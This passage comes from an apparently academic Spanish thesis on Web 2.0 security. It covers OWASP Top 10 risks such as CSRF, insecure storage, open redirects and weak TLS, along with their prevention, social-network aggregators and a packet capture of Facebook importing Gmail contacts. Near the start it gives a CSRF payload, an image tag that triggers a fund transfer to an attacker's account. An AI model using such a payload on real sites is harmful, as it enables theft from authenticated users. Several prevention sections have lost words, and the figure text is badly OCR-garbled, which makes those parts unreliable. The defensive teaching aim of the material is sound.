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sociales

Si la aplicación permite que los usuarios envíen peticiones de cambios de estado que no
incluyen datos secretos, como en el siguiente ejemplo que vemos como se muestran los datos
en la dirección web.
http://miPFCweb20.es/aplicacion/transferenciaFondos?cantidad=1500&dest
inoCuenta=5498720
Así el atacante construye una solicitud de transferir dinero de la cuenta de la víctima a su

cuenta y a continuación incorpora este ataque en una petición de imagen en varios sitios bajo
el control del atacante.
<imgsrc="http://universidadX.es/aplicacion/
transferenciaFondos?cantidad=1500&destinoCuenta=cuentaAtacante“width="
0" height="0" />
Si la victima visita alguno de esos sitios donde aún estaba autenticado como example.com, las
solicitudes de HTTP incluirán información del usuario de sesión sin darse cuenta que se
autorizan esas solicitudes.
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sociales
6. PÉRDIDA DE INFORMACIÓN Y MANEJO INADECUADO DE ERRORES.

Una buena seguridad requiere tener una configuración segura definitiva e implementada para
la aplicación Web, los marcos, servidor de aplicaciones, servidor Web, servidor de base de
datos y la plataforma. Todos estos ajustes deben ser definidos, implementados y mantenidos
con valores seguros. Esto incluye el mantener todo el software actualizado, incluyendo todas
las bibliotecas de código que usa la aplicación.
Ante un evento de error en un servidor se puede mostrar información al usuario que puede ser
útil a la hora de realizar ataques más sofisticados. Por ejemplo, podemos ver el típico error de
MySQL que muestra toda la consulta entera por pantalla lo que da datos al atacante que no
queremos que sean mostrados.
Escenario
a. Atacante: Atacantes externos anónimos y usuarios con sus propias cuentas que puedan
intentar poner en peligro el sistema.
b. Ataque: El atacante accede a las cuentas por defecto, páginas no usadas, parches
desactualizados con errores, archivos y directorios sin protección, etc. El atacante obtiene así
el acceso no autorizado o el conocimiento del sistema.

c. Debilidad de la seguridad: Esta vulnerabilidad puede ocurrir en cualquier nivel de la

aplicación, incluyendo la plataforma, servidor Web, servidor de aplicaciones, marco y el
código personalizado. Los desarrolladores y administradores de red, necesitan trabajar juntos
parar asegurar que toda la aplicación está correctamente configurada. Los escáneres
automáticos son muy útiles para la detección de los parches que faltan, errores de
configuración, uso de cuentas de forma predeterminada, servicios innecesarios, etc.
d. Impacto técnico: Estos defectos suelen dar a los atacantes acceso de manera no
autorizada a algunos datos del sistema o funcionalidades de éste. En ocasiones, los defectos
son el resultado de un completo sistema puesto en manos del atacante.
e. Impacto del negocio: El sistema podría estar completamente comprometido sin que la
empresa lo sepa, sus datos podrían ser robados o modificados.
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sociales
¿Soy vulnerable?
Hay que preguntarse si se ha llevado a cabo un nivel de seguridad para todas las fases del
desarrollo de la aplicación:
- ¿Existe algún proceso para mantener todo el software actualizado? Incluyendo

sistema operativo, servidor Web y de aplicaciones, DBMS (Gestores de Bases de
Datos), aplicaciones y todas las bibliotecas de código.
- ¿Todo lo que no necesitamos ha sido deshabilitado, eliminado y no está instalado?
Como por ejemplo puertos, servicios, páginas, cuentas, privilegios, etc.
- ¿Las contraseñas de las cuentas pueden ser cambiadas o deshabilitadas?
- ¿Se ha creado un tratamiento de errores para prevenir el seguimiento de la aplicación
y mensajes de error demasiado informativos que se puedan llegar a mostrar al
usuario?
- ¿Los ajustes de seguridad en los marcos de desarrollo y librerías se han configurado
adecuadamente?

Veamos un par de ejemplos relacionados con este ataque:
- Ejemplo 1: Los fallos de Cross-site Scripting se encuentran en una actualización

resuelve estas deficiencias pero no hemos aplicado en nuestro servidor los últimos
parches. Mientras no se actualice esto, los atacantes podrán fácilmente encontrar y
explotar estas vulnerabilidades en nuestra aplicación.
- Escenario 2: La consola de administración de la aplicación del servidor es
automáticamente instalada y no se elimina. Por defecto las cuentas no se modifican.
Si el atacante descubre la página de administración estándar de nuestro servidor, se
conecta con las contraseñas por defecto y se hace con la contraseña de administrador
podría hacerse con el sistema al completo.
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sociales
7. ALMACENAMIENTO CRIPTOGRÁFICO INSEGURO

Muchas aplicaciones webs no adecuan la protección de los datos sensibles, como tarjetas de
crédito, números de la seguridad social y credenciales de autenticación, con cifrados
apropiados o funciones hash. Las atacantes pueden robar o modificar los datos, que están
protegidos de manera tan débil, para llevar a cavo el robo de identidad, fraudes de tarjetas de
crédito u otros delitos.
Escenario
a. Atacante: Si pensamos en los usuarios del sistema ¿Podrían tener acceso a los datos
protegidos a los que no están autorizados?
b. Ataque: Los atacantes normalmente no rompen el cifrado. Se rompe encontrando claves,

obteniendo copias de datos de texto claro, ya que el cifrado es extremadamente difícil de
romper por no decir imposible en determinados casos.
- Nivel del ataque: DIFÍCIL.

o Frecuencia de este ataque en la red: POCO COMÚN.
o Detectable: DIFÍCIL.
c. Debilidad de la seguridad: El error más común es no cifrar os datos que se deben cifrar. Y
cuando se hace, la generación del cifrado y el almacenamiento de claves se hace de manera
insegura; no se rotan las claves y se utilizan algoritmos de cifrado débil. El uso de funciones
hash débiles para proteger contraseñas es también común. Atacantes externos tiene
dificultad de detectar tales defectos debido al acceso restringido. Por lo general, deben
explotar otra cosa antes de tener el acceso necesario a estos datos.
d. Impacto técnico: El incumplimiento frecuentemente compromete todos los datos que

deberían haber sido cifrados. Normalmente, esta información incluye datos sensibles como
credenciales, datos personales, tarjetas de crédito, etc.
e. Impacto del negocio: Habrá que tener en cuenta el valor comercial de los datos perdidos y
su reputación. ¿Cuál es la responsabilidad legal si se exponen esos datos? Podría ser dañada la
reputación de la empresa.
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sociales
¿Soy vulnerable?
Lo primero que tendremos que analizar es el nivel de sensibilidad de los datos para ver si
necesitan ser cifrados o no, dependiendo si son contraseñas, número de tarjetas de crédito o
información personal, que según la LOPD (Ley Orgánica de Protección de Datos) deberemos
garantizar su seguridad en todo momento.
Habrá que garantizar:
- Consideraremos las amenazas que afectan a nuestros datos y las qué queremos
proteger cifrando así los datos involucrados en éstas amenazas.
- Las copias de seguridad que se manejen de manera externa, por ejemplo podemos
hablar de Cloud Computing, tendrá que hacerse de manera cifrada.
- Deberemos garantizar que el algoritmo de cifrado sea robusto.
- Las contraseñas se deberán almacenar mediante una función hash y protegerlas de
accesos no autorizados.

- Ejemplo 1: una aplicación cifra los números de tarjetas de crédito y contraseñas en
una base de datos para evitar que ser expuestos a los usuarios finales, pero, se
establece en la base de datos la posibilidad de descifrar de manera automática estos
datos en las consultas que se realicen a la misma. Esto hacer que exista un fallo de
seguridad de inyección SQL pudiendo recoger los número de tarjetas de crédito sin
cifrar. El sistema no debería permitir que esto se pueda realizar desde la interfaz Web.
- Ejemplo 2: una aplicación de backup realiza las copias de seguridad de los datos de
manera cifrada almacenando la clave en la misma cinta que los datos.
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sociales
8. FALLO DE RESTRICCIÓN DE ACCESO POR URL

Las aplicaciones web verifican los privilegios de acceso a las URL antes de generar enlaces o
botones protegidos. Sin embargo, las aplicaciones necesitan realizar controles similares cada
vez que estas páginas son accedidas, o los atacantes podrán falsificar URLs para acceder a
estas páginas igualmente.
Escenario
a. Atacante: El atacante, quien es un usuario del sistema autorizado, simplemente cambia la
URL a una página con privilegios. ¿Se le concede acceso? Usuarios anónimos podrían acceder
páginas privadas que no están protegidas.
b. Ataque: El atacante, quien es un usuario del sistema autorizado, simplemente cambia la

dirección de una página privilegiada. Podría ocurrir que los usuarios anónimos, pueden
acceder a las páginas privadas que no están protegidos

- Impacto de ataque: MODERADO.
c. Debilidad de la seguridad: Las aplicaciones no siempre protegen las páginas

adecuadamente. En ocasiones, la protección por URL se gestiona a través de la configuración
y el sistema está mal configurado. Los desarrolladores deben establecer los controles de
código y no siempre se acuerdan de hacerlo.
La detección de tales defectos se puede realizar de manera fácil. La parte más difícil de esta
vulnerabilidad, es identificar qué URLs existen para atacar.
d. Impacto técnico: Los defecto que permiten a los atacantes acceso no autorizado a
determinadas funciones administrativas pueden ser objetivos claves para este tipo de
ataques.
e. Impacto del negocio: Deberemos considerar el valor de negocio de las funciones y los
datos expuestos que procesan en la empresa. Podría ser daña la reputación de la
organización.
Página 201
sociales
¿Soy vulnerable?
La mejor manera de ver si una aplicación está expuesta a este tipo de ataque es comprobando
las páginas del sitio Web.
Veamos por cada página si es pública o privada. Si se tratara de una página privada
deberemos analizar:
- ¿Hay autenticación con usuario y contraseña para acceder a esa página privada?
- ¿Podría acceder a ella cualquier usuario autenticado? Dependiendo del tipo de usuario
deberá incluir unos permisos de acceso u otros.
Tendremos que analizar si los mecanismos de acceso están correctamente configurados para
cada página mediante test de penetración y analizar el código por cada página.

El atacante fuerza al cliente Web a navegar por una URL. Esta URL requiere autenticación y
tener derechos de administrador para acceder a la “admin_getappInfo” de la página.
http://miPFCweb20.es/app/getappInfo
http://miPFCweb20.es/app/admin_getappInfo
Si el atacante no se autentica y se concede el acceso a éstas páginas, podría acceder de

manera no autorizada introduciéndose en páginas de administración que se han protegido de
manera inadecuada.
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sociales
9. INSUFICIENTE PROTECCIÓN EN LA CAPA DE TRANSPORTE

Las aplicaciones frecuentemente fallan para autenticar, cifrar y proteger la confidencialidad e
integridad del tráfico de red sensible. Cuando lo hacen, a veces se apoyan en algoritmos
débiles, usan certificados expirados o no validos y no se usan correctamente.
Escenario
a. Atacante: Se podría dar el caso de que cualquier persona que pueda supervisar el tráfico de
la red de sus usuarios.
b. Ataque: La monitorización del tráfico de la red de los usuarios puede ser difícil, pero en
ocasiones no lo es tanto. La dificultad principal radica en el seguimiento del tráfico de la red
adecuada, mientras los usuarios están accediendo al sitio vulnerable.
- Nivel del ataque: DIFÍCIL.

- Impacto: MODERADO.
c. Debilidad de la seguridad: Las aplicaciones en muchas ocasiones no protegen el tráfico de

red. En estos casos podría hacerse uso de los protocolos SSL (Secure Socket Layer) o TLS
(Transport Layer Security) durante la autenticación exponiendo datos e identificadores de
sesión.
Con frecuencia, las aplicaciones nos protegen el tráfico de red. Si utilizan SSL/TLS (Secure
Socket Layer/Transport Layer Security) durante la autenticación, pero no en otros lugares,
posibilitan que datos sensibles e identificadores de sesión puedan ser interceptados. A
menudo, también se utilizan certificados expirados o configurados incorrectamente.
El detectar estos fallos básicos es fácil. Con sólo observar el tráfico del sitio web de la red
.
valdría en determinadas ocasiones. Otros defectos más sutiles ya requieren inspeccionar el
diseño de la aplicación y la configuración del servidor.
d. Impacto técnico: Se podrían exponer datos de los usuarios al atacante y llevar a cabo el
robo de cuentas. Si una cuenta de administrador se ha visto comprometida, todo el sitio
puede estar expuesto. Una mala configuración de SSL también puede facilitar ataques de
phishing y Man In The Middle.
e. Impacto del negocio: Deberemos tener en cuenta el valor comercial de los datos expuestos
de la organización referentes a su confidencialidad.
Página 203
sociales
¿Soy vulnerable?
, pero
siguiente:
- Usar el protocolo SSL para proteger toda la autenticación de tráfico asociado.

- Usar el protocolo SSL para todos los recursos en todas las páginas y los servicios
privados.
- Sólo admitir algoritmos fuertes.
- Las cookies de sesión deben ser protegidas para que nunca se transmitan en el
navegador en claro.
- El certificado del servidor debe ser legítimo y estar correctamente configurado para
ese servidor y comprobar que no ha expirado.

Por ejemplo un website que no hace uso del protocolo SSL para conexiones seguras para
todas las páginas que requieren autenticación. Si el atacante supervisa el tráfico de red
mediante un sniffer y observa una cookie de sesión de la víctima podría hacerse con los datos
de sesión de ese usuario.
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sociales
10. REDIRECCIONES O REENVÍOS SIN VALIDAR

Las aplicaciones frecuentemente redireccionan a otras páginas o sitios Web, y hacen uso de
datos no confiables para determinar las páginas de destino. Sin validación adecuada, lo
atacantes pueden redirigir a las víctimas de pishing o sitios de malware o usar fordwards para
acceder a páginas no autorizadas.
Escenario
a. Atacante: Cualquier persona que pueda engañar a los usuarios a presentar una solicitud a
su sitio Web.
b. Ataque: El atacante, redirecciona a links no validados y engaña a las víctimas para que
hagan clic en él. El atacante envía a la víctima a páginas inseguras y así podrá eludir los
controles de seguridad.

c. Debilidad de la seguridad: Las aplicaciones que se usan con frecuencia pueden redirigir los
usuarios a otras páginas. Algunas veces la página de destino se especifica en un parámetro no
validado, permitiendo a los atacantes elegir dicha página.
Detectar redirecciones sin control es fácil. Buscaremos redirecciones donde se puede poner
una URL completa.
d. Impacto técnico: Tales redireccionamientos pueden intentar instalar programas maliciosos

o malware que revelen contraseñas u otra información confidencial.
e. Impacto del negocio: Deberemos tener en cuenta el valor comercial de los datos expuestos
de la organización referentes a su confidencialidad.
¿Soy vulnerable?
La mejor manera de averiguar si una aplicación tiene redirecciones no validadas es:
- Revisar el código de todos los usos de redirecciones o reenvíos (llamado transferencia

en .NET). Para todos los usos habrá que identificar si en la dirección URL de destino se
incluyen valores de parámetros. Si esto fuese así, habrá que comprobar que
parámetros se validan para que contengan un solos destino o elemento de destino.
- Si el código no está disponible, comprobaremos todos los parámetros para ver si se
ven como parte de un destino o una dirección URL y realizar redirecciones para lo que
lo hacen.

Supongamos que una aplicación tiene una página llamada “redirección.jsp”, que solo escoge
el parámetro “url”. Si el atacante dispone de una URL maliciosa y redirige a los usuarios a ese
website que realiza un ataque phishing, podría instalarse malware en la máquina de la víctima.
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sociales
12.4.4. Protección frente ataques

Normalmente los ataques de las Webs 2.0 vienen dados o bien por el desconocimiento del
usuario final, ataques más enfocado a ingeniería social o bien por desconocimiento del
administrador de la Web.
Podemos elaborar una serie de consejos generales para no exponer nuestro sistema a
vulnerabilidades, por parte de los administradores, a grandes rasgos:
Deshabilitar servicios y cuentas que no utilicemos.

Actualizar el sistema operativo, aplicaciones, versiones de distintos módulos.
Uso de contraseñas fuertes.
Uso de firewalls.
Estandarización de las políticas de seguridad, infiriendo esencialmente en el
control de acceso y autorización, elaborando estándares que preserven la
privacidad y garanticen la autenticidad de las informaciones.
Chequeo de la integridad de las aplicaciones, del código. Ver que no hemos
sufrido ningún tipo de ataque de ejecución de ficheros en el servidor.
Hacer bakups de la información.
Analizar y monitorizar los logs.
Realizar estadísticas de manera periódica utilizando gráficos para poder paliar los
ataques recibidos.
Consultar y suscribirse a listas de vulnerabilidades.
Controlar y limitar al mínimo la programación del lado del cliente. Si el usuario
puede observar el código fuente en el navegador que aparezca la mínima
información posible.
Desactivar la información de errores.
Limitar el tiempo de las consultas a la base de datos.
Cifrar el tráfico de las comunicaciones según el tipo de aplicación. Se puede
obtener mucha información mediante sniffers. Uso de TLS/SSL para seguridad y
confianza en entornos Web 2.0 o modelos de JavaScript avanzados.
Desarrollo de aplicaciones seguras para la Web. Iniciativas de desarrollo seguro,
elaborando procesos de desarrollo seguro para Web 2.0 y herramientas que
soporten estos procesos, incluidas características de este tipo para IDEs y APIs.
Si nos centramos más en el lado del usuario final podemos tomar las siguientes medidas:
Campañas de concienciación / información. Principalmente enfocadas a la

privacidad, que veremos más adelante, y enfocadas también a la ingeniería social.
Políticas gubernamentales para desarrollar esquemas de certificación.
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sociales
12.4.5. Prevención y detención de intrusiones. Top 10 Web Application

Security Risks.
Podemos ver posibles vías para prevenir que los “Top 10 Web Application Security Risks”
lleguen a conseguir su objetivo y poder pararlos o detectarlos a tiempo.
12.4.5.1. Técnicas de inyección
¿Cómo puedo prevenir las técnicas de inyección?

Para prevenir este tipo de ataques hay que mantener los datos no confiables separados de
comandos y consultas.
Para consultas parametrizadas usaremos comprobación fuerte de tipos, así que si esperamos
un valor de un determinado rango o longitud, no se acepten otros datos. Permitiremos
siempre los mínimos privilegios aquellas aplicaciones que conecten con nuestras bases de
datos. Habrá que actualizar la contraseña del user Administrador de manera constante. El
usuario que maneje esa base de datos es preferible que sólo tenga permiso de lectura para
hacer consultar y si necesita en un determinado momento modificar esa base de datos se le
pueden otorgar permisos temporalmente.
Cómo dijimos antes hay que separar los posibles datos falsos de los comandos y consultas:
La opción preferida es utilizar una API segura que evite el uso del interprete
completamente o provea una interface parametrizada. Habrá que ser cuidadoso con
APIs, tales como procedimientos almacenados, que son parametrizados, pero que aun
pueden introducir inyección implícitamente.
Si una API parametrizada no se encuentra disponible, se debe cuidadosamente
escapar los caracteres especiales utilizando una sintaxis de escape especial para dicho
intérprete.
Introducir validación positiva o “while list” de entradas al sistema con nombres
estándar apropiados, pero no es una defensa completa ya que muchas aplicaciones
requieren caracteres especiales en sus entradas.
Otro tema importante es evitar mensajes de error detallados, el usuario no tiene porqué saber
qué está pasado por debajo de la Base de Datos, ya que sería información para el atacante,
simplemente informarle de que en ese determinado momento no se le puede mostrar la
información y que en breves momentos estará disponible. El hacker podría obtener
información de la estructura de la Base de Datos, los nombres de las tablas, de los campos,
etc. Esta es la labor más complicada para el atacante.
12.4.5.2. Cross-Site Scripting (XSS)
¿Cómo puedo prevenir cross-site scripting?

Para evitar este tipo de ataques deberemos validar siempre la entrada a la Web, para los
formularios usaremos mecanismos que comprueben siempre la longitud, el formato, tipo,
sintaxis de los datos antes de ser aceptados, almacenados o procesados.
La prevención requiere mantener los datos de no-confianza separados del contenido activo
del navegador:
Página 207
sociales
La opción preferida es la de escapar correctamente de todos los datos de no-

confianza en función del contexto HTML (body, attribute, JavaScript, CSS o URL)
donde se colocarán los datos. Los desarrolladores necesitaran para incluir este escape
en sus aplicaciones a menos que su marco de interfaz de usuario haga esto por ellos.
Introducir validación positiva o “while list” de entradas al sistema con nombres
estándar apropiados, pero si no es una defensa suficiente muchas aplicaciones
requieren caracteres especiales en su entrada.
12.4.5.3. Broken Authentication and Session Management
¿Cómo puedo prevenirme?

La principal recomendación para una empresa es poner a disposición de los desarrolladores:
1. Control de autenticación fuerte y gestión de sesiones. Los controles deben:

a. Cumplir todos los requisitos de autenticación y gestión definiendo el periodo
de sesiones estándar.
b. Tener una interfaz sencilla para los desarrolladores.
2. Los grandes esfuerzos también deben ser tomados para evitar fallos de cross-site
scripting que pueden ser usados para robar identificadores de sesión.
12.4.5.4. Insecure Direct Object References

La prevención requiere la selección de un enfoque de protección de cada usuario que tiene
acceso a objetos.
Utilizar referencias indirectas por usuario o sesión. Esto evitaría que los atacantes
accedieren directamente a recursos no autorizados. Por ejemplo, en vez de utilizar la
clave del recurso de base de datos, se podría utilizar una lista de 6 recursos que
utilizase los números del 1 al 6 para indicar cuál es el valor elegido por el usuario. La
aplicación tendría que realizar la correlación entre la referencia indirecta con la clave
de la base de datos correspondiente en el servidor.
Comprobar el acceso: cada uso de una referencia de objeto directo de un código no
confiable deberá incluir un control de acceso de usuarios para garantizar que el
usuario está autorizado para el objeto solicitado.
12.4.5.5. Cross-Site Request Forgery (CSRF)

Para prevenir los ataques de CSRF se requerirá de inclusión de una muestra de un token
impredecible en el cuerpo o URL de cada solicitud HTTP. Los tokens deberían como mínimo
ser únicos por sesión de usuario, pero pueden también ser únicos por solicitud.
La opción preferida es incluir un único token por cada campo escondido. Esto causará
que el valor mandado en el cuerpo de la solicitud HTTP, evite su inclusión en la
dirección URL que está sujeto a exposición.
El único token puede también ser incluido en la URL él mismo, o en un parámetro de
la URL. Sin embargo, dicha colocación corre el riesgo de que la dirección estará
expuesta a un ataque, comprometiendo así el token.
Página 208
sociales
12.4.5.6. Security Misconfiguration

Las recomendaciones principales son establecer todas las siguientes características:
1. Un proceso de endurecimiento repetible que hace que sea rápido y fácil implementar
otro entrono, que esté correctamente bloqueado. Desarrollo, control de calidad y
todos los entornos de producción deben de estar configurados de manera idéntica.
Este proceso debe ser automatizado para reducir al mínimo el esfuerzo necesario para
configurar un nuevo entorno seguro.
2. Un proceso para mantener el seguimiento de la implementación y todas las
actualizaciones y parches de software nuevo de manera oportuna para cada entorno
de desarrollo. Esto debe incluir todas las bibliotecas de código, así, que con frecuencia
se pasa por alto.
3. Una arquitectura de aplicaciones fuerte que proporcione buena separación y la
seguridad entre los componentes.
4. Considerar la realización periódica de exploraciones (scan) y hacer auditorías
periódicas para ayudar a detectar fallos en la configuración o parches que puedan
faltar.
12.4.5.7. Insecure Cryptographic Storage

Para todos los datos sensibles que requieren cifrado habrá que hacer lo siguiente:
cifrados de manera que se defienda de las amenazas.

Asegúrese de que las copias de seguridad almacenadas externamente están cifradas,
pero las claves son gestionadas y almacenadas de forma separada.
.
Aseg
autorizado.
Página 209
sociales
12.4.5.8. Failure to Restrict URL Access

Prevenir el acceso no autorizado URL requiere la selección de un enfoque para exigir la debida
autenticación y la autorización correspondiente para cada página. Con frecuencia, dicha
protección es proporcionada por uno o más componentes externos al código de la aplicación.
Independientemente del mecanismo (s), todos se recomiendan lo siguiente:
La a
.
.
Si la pagina forma parte de un proceso de varios pasos, verifique que las condiciones
de la misma se encuentren en el estado apropiado para permitir el acceso.
Página 210
sociales
12.4.5.9. Insufficient Transport Layer Protection
. De esta forma, resulta
, pero esto puede exponer

identificadores de , se
siguiente:
n SSL.
Establecer el atributo “secure” en todas las cookies sensibles.
Configurar el servidor SSL para qu
fuertes.
ido, no se encuentre expirado o revocado y que se
ajuste a todos los dominios utilizados por la apl .
Conexiones a sistemas finales (back-
.
12.4.5.10. Unvalidated Redirects and Forwards
Puede realizarse un uso seguro de redirecciones y re-env :
.
ros manipulables por el usuario para definir el
destino. Generalmente, esto puede realizarse.
“sendRedirect()” y asegurarse de que todos los destinos redirigidos son seguros.
Página 211
sociales
Conclusiones
Evitar estos problemas resulta extremadamente importante ya que son un blanco preferido
por los phishers que intentan ganarse la confianza de los usuarios.
Si todo falla hay que intentar levantar el sistema lo antes posible mediante los bakups que
tengamos disponibles y si hay algo de pérdida de información será mínima. Hay que detectar
el fallo e identificar el origen. Cuantificar el fallo y tomar medidas según la gravedad. Antes de
poner en marcha el sistema mediante bakcup para poder investigar los hechos y poder llegar a
detener al autor del ataque lo primero que hay que hacer es salvaguardar la situación
inmediatamente posterior al ataque para poder realizar la denuncia a la policía, hacer una
copia espejo de la información en ese momento, una imagen o una copia de seguridad y muy
importante hacerlo ante notario para que se vea que no se ha manipulado ningún tipo de
información porque a la empresa le interesaba en ese determinado momento.
Si hablamos a nivel organizado deberemos tener en la empresa un Plan de Recuperación de

Desastres (Disaster Recovery Planning) y un Plan de Continuidad de Negocio (Business
Continuity Planning) como se indica en la norma ISO 27002.
Página 212
sociales
12.5. Red de Webs 2.0, conexión entre portales

Hoy en día todos y cada unos de nosotros manejamos una gran cantidad de redes sociales,
con perfiles privados. Nos surge la problemática de qué red social elegir, o cuáles de ellas así
como con quién deberíamos compartir la información de estas redes. Podemos acceder a
nuestro perfil personal de Facebook, Tuenti, MySpace, Flickr, LinkedIn, YouTube, etc. Todas
estas redes están conectadas entre sí para poder ver principalmente todos los contactos
comunes que un mismo perfil, aunque no de manera homogénea.
Algunos navegadores Web como el navegador Safari de Apple o Chrome de Google, que nos
permiten configurar nuestro inicio de sesión de manera que podamos ver nuestras redes
sociales a modo de inicio, pero esto está más orientado a poder ver las páginas que más
visitamos.
Ilustración 54. Navegador Safari con inicio personalizado.
Por otro lado, han surgido varios portales que dan soluciones a este problema de
interconexión de redes sociales aunque no de manera no muy homogénea, lo hacen mediante
gadgets. Permiten una configuración personalizada al completo de inicio como son iGoogle
de Google, Bing.com de Microsoft, iniciativa Netvibes.com. Estas Webs nos permiten
configurar nuestra Web personalizada con todas las redes que elijamos y añadir, a modo de
agregador, blogs para ver los feeds de RSS o Atom, pudiendo interconectar todos los blogs
que deseemos.
Página 213
sociales
Veamos unos ejemplos gráficos:
Ilustración 55. iGoogle.
Ilustración 56. Netvibes.
Página 214
sociales
La herramienta más utilizada es Netvibes que nos permite tener una visión global de nuestras
redes sociales y es completamente gratuita. Como vemos hoy en día todo tiende a estar más y
más orientado a los gustos específicos de cada usuario.
También existen determinados plug-ins que nos permiten interconectar algunas redes
sociales. Por ejemplo podemos interconectar Facebook y Twitter, de tal manera que lo que
escribamos en el muro de Facebook se vea reflejado también en Twitter. Simplemente se
hace agregando la aplicación de Facebook dentro de Twitter mediante este enlace
https://twitter.com/widgets/facebook o viceversa, agregando la aplicación de Twitter a
Facebook http://www.facebook.com/apps/application.php?id=2231777543&b&ref=pd_r.
Otra herramienta es Identify, que se trata de un plug-in de Mozilla que podemos descargar de
https://addons.mozilla.org/en-US/firefox/addon/11570/ y que nos permite tener todos los
perfiles de usuarios de redes sociales y otros portales en una misma pantalla.
12.6. Mapas Web 2.0 de interés
12.6.1. Web Trend Map

Una de las imágenes más interesantes que se han encontrado es la “Web Trend Map 2007”,
desarrollada por un Information Architects Japan, donde se pueden ver los 200 sitios web más
populares de internet organizados por categoría, proximidad, popularidad, etc., de tal manera
que parece un mapa de un metro como podría es el metro de Madrid.
En http://webtrendmap.com se publican mapas visuales de internet que nos sorprenden por la

capacidad de captar vínculos de información que tienen. Uno de los últimos mapas es la “Web
Trend Map 4”, que podemos ver http://webtrendmap.com/signup/1 y por el cual, sin ir más
lejos hay que pagar para verlo.
12.6.2. Mapa Visual Web 2.0

La Fundación Orange también ha creado un mapa Web 2.0 muy interesante que agrupa de
forma visual los principales conceptos relacionados con Web 2.0.
En la siguiente página podemos ver los mapas web. Estos mapas se incluyen en la
documentación del proyecto a modo de Anexo en formato .pdf para poder verlos con
claridad.
Página 215
--- --
-
<>
o --- - -
o
o
---
-
IltTorr.nt
Ilustración 57. Web Trend Map 2007.
Página 216
.......,c-.....
-~-
,
,
--
1"""'....
l cu~=u
1
,
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:........·1
----
.........
... ..,.,..
_~ ..
L _ _.J 111MJ1'.......
._U. -._
.,.,....._
-___ _ __.. __ _-..__._
............... _.....
... VISUal
,Mapa ... de..la...Web
_
2.0
,.-.-
..
pO<_ _. "
-_--.---"',--
..... .. ......
:f"'---;;.-------
......
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............
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"'+r..J- __:__=_:_.._::~
--_
'""-' :r-"-=-_~
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.....
_";:::.::t_....::
_ _ 0li00I'0AJJ/il
.._..-
~-=::...-
.... .........-_-_
--_
--- .=
""_.I...._ _ ..
~ ..., .. _ - _ .. ~fIMt . . · _ .. "
1_.. ......., 1
-._."--"-" ~:z..~====
.. ............
--'-
-- -.
_~·-
""""""
...
=~.""':::=':'=:=;.=
- ~ _.-
Ilustración 58. Mapa Web 2.0 Fundación Orange.
Página 217
12.7. Ejemplo de interconexión Facebook vs GMail
Para verlo esto de manera más sencilla, vamos a crearnos un nuevo perfil en Facebook. Para
ello accedemos a la Web de Facebook, www.facebook.com, e introducimos nuestros datos
personales.
Ilustración 59. Creando un nuevo perfil en Facebook.
Página 218
sociales
Una vez que introducimos nuestros datos principales lo primero que hace Facebook es
preguntarnos por nuestros contactos de Gmail.
Ilustración 60. Acceso a contactos de GMail desde Facebook.
Una vez que esta operación queda realizada nos aparecen todos los contactos que poseen
perfil de Facebook para agregarlos y los que no poseen perfil también nos aparecen para
mandarles una invitación.
Página 219
sociales
Si le preguntamos a Facebook que hace con nuestras contraseñas al agregar estos contactos
nos muestra el siguiente mensaje:
Ilustración 61. Amigos en Facebook.
Es decir que en principio Facebook usa la contraseña de GMail una única vez exclusivamente
para exportar los contactos y nunca más.
Si vemos una captura de un sniffer, en concreto Wireshark para analizar cómo se han
realizado estas conexiones entre Facebook y GMail, podemos ver lo siguiente:
Ilustración 62. Captura de Wireshark. Facebook obtiene contactos de GMail.
Página 220
sociales
Para que quede más claro se han diseñado unos gráficos de red con todas las conexiones
relevantes que se produjeron.
-
192.1158.1.34
8)
9)
(1 O)
rONSl Petición DNS www.facebook .c:om
rDNSl A Facebook - 69.63.190.10
rTCP' SYN
be ~
Facebook
ServIdor DNS
212.59.199.2
6963 190 10
~
(1 1)
rTCP' SYN + ACK
(1 2) 'TCP' ACK facebook
~
(1 3) 1001 rHTrP) GET COntact .

I In= añlleles.caballero;;: Jmport ...
mall.com tfITp 1.1
rHTTPl HTTP 1.1 302 Found
.....
(1 7)
(2 O) rONSl Petición ONS WWW.ooogle.com
rONSl A Goonle - 212.59.199.2

r¡¡¡
bl6J So",;do, DNS
212.59.199.2
(2 1)
Google
(2 2) 212.59.199.2
rTCP' SYN
(2 7)
(28)
rTCP' SYN + ACK
rTCP' ACK
GoogIe" ~
(29) rTLSvl1 Cllent Helio
rTLSvl' Server Helio

(3 1)
rTLSvl1 Certlficate Server Helio Done
(3 2)
[TLSVl] CIlent Key E h
(3 4) Encrvnted ~~n~~~:ÍceC';ng:;iPher
essa e
Spec
[TLSvl] Change Clpher Spec
En'c~';;;d Handshake Messaae
(3 5)
(3 9) rTLsvl 1 ADlication data
rTLSvl' ADollcation Data ADolicatlon Data

(4 1)
(6 9)
rHTrPl GET lcommon/blank,html HTTP/!.!
~
rffTTp' ffTTp/l.l 200 OK

(7 1)
(t-n'TPJ POST conta
(7 5) - -r~nr "catlo~i~_~~~~rter/ ajax ...
HTTP/l.l
rm- ur1encodedl'
.....
(76 ) rONSl Petición DNS rel"r¡ster.facebook.com
ServIdor DNS (212.59.199.2)
[HTTP] HTTP/1.1 200 OK
(~nnllcatio~ix-iavascriPt1 Google (212.59.199.2)
(78)
rONSl A reoister.facebook.com = 69.63.181.23 ServIdor DNS (212.59.199.2)

(79 )
(80 ) rTCP' SYN reg Ister. facebook.com
6963 190 10
rTCP' SYN + ACK
(83 )
(84) rTCP' ACK
facebook
Ilustración 63. Conexión Facebook – Gmail (I).
Página 221
sociales
(85 register.facebook.com
rTLSVl] Cllent Helio
6 9.63.190.10
[TLSvl1 Server Heno

(87 )
facebook
-
192.168.1.34
(93 )
(94)
rTLSvl1 Certlflcate Server Helio Done
cnSvl] Client Key Exchange, Change Clpher Spec

En!=rvDted Handshake Message
~
[TLSvl] Change Cipher 5":1

Encrvoted Handshake Messa e
(9 5
(9 7) rTLSv~icatlon data
-" "
[H~ POST oontact_importer/ ajex." HTTP/l 1 ",
(10 1)
ilpDllcatlo~~-WWW_form_ urlencodegj- . \ Esta pa!te se
~
: repite varias veces
-.J
[HTTP' HTll'L1.1 200 OK
(10 3)
( ... )
(168) -LDNSl Petición DNS s-static.ak.facebook.com

~
Servidor DNS
book com edgekey.net 212.59.199.2
[DNS] CNAME 5-statlc.ak;~~~e net A
88.221.10.110
CNAME e566.b.akamale .
(1 70)
(1 72) rTep, sYN s -static.ak.facebook.com

88.221.10.110
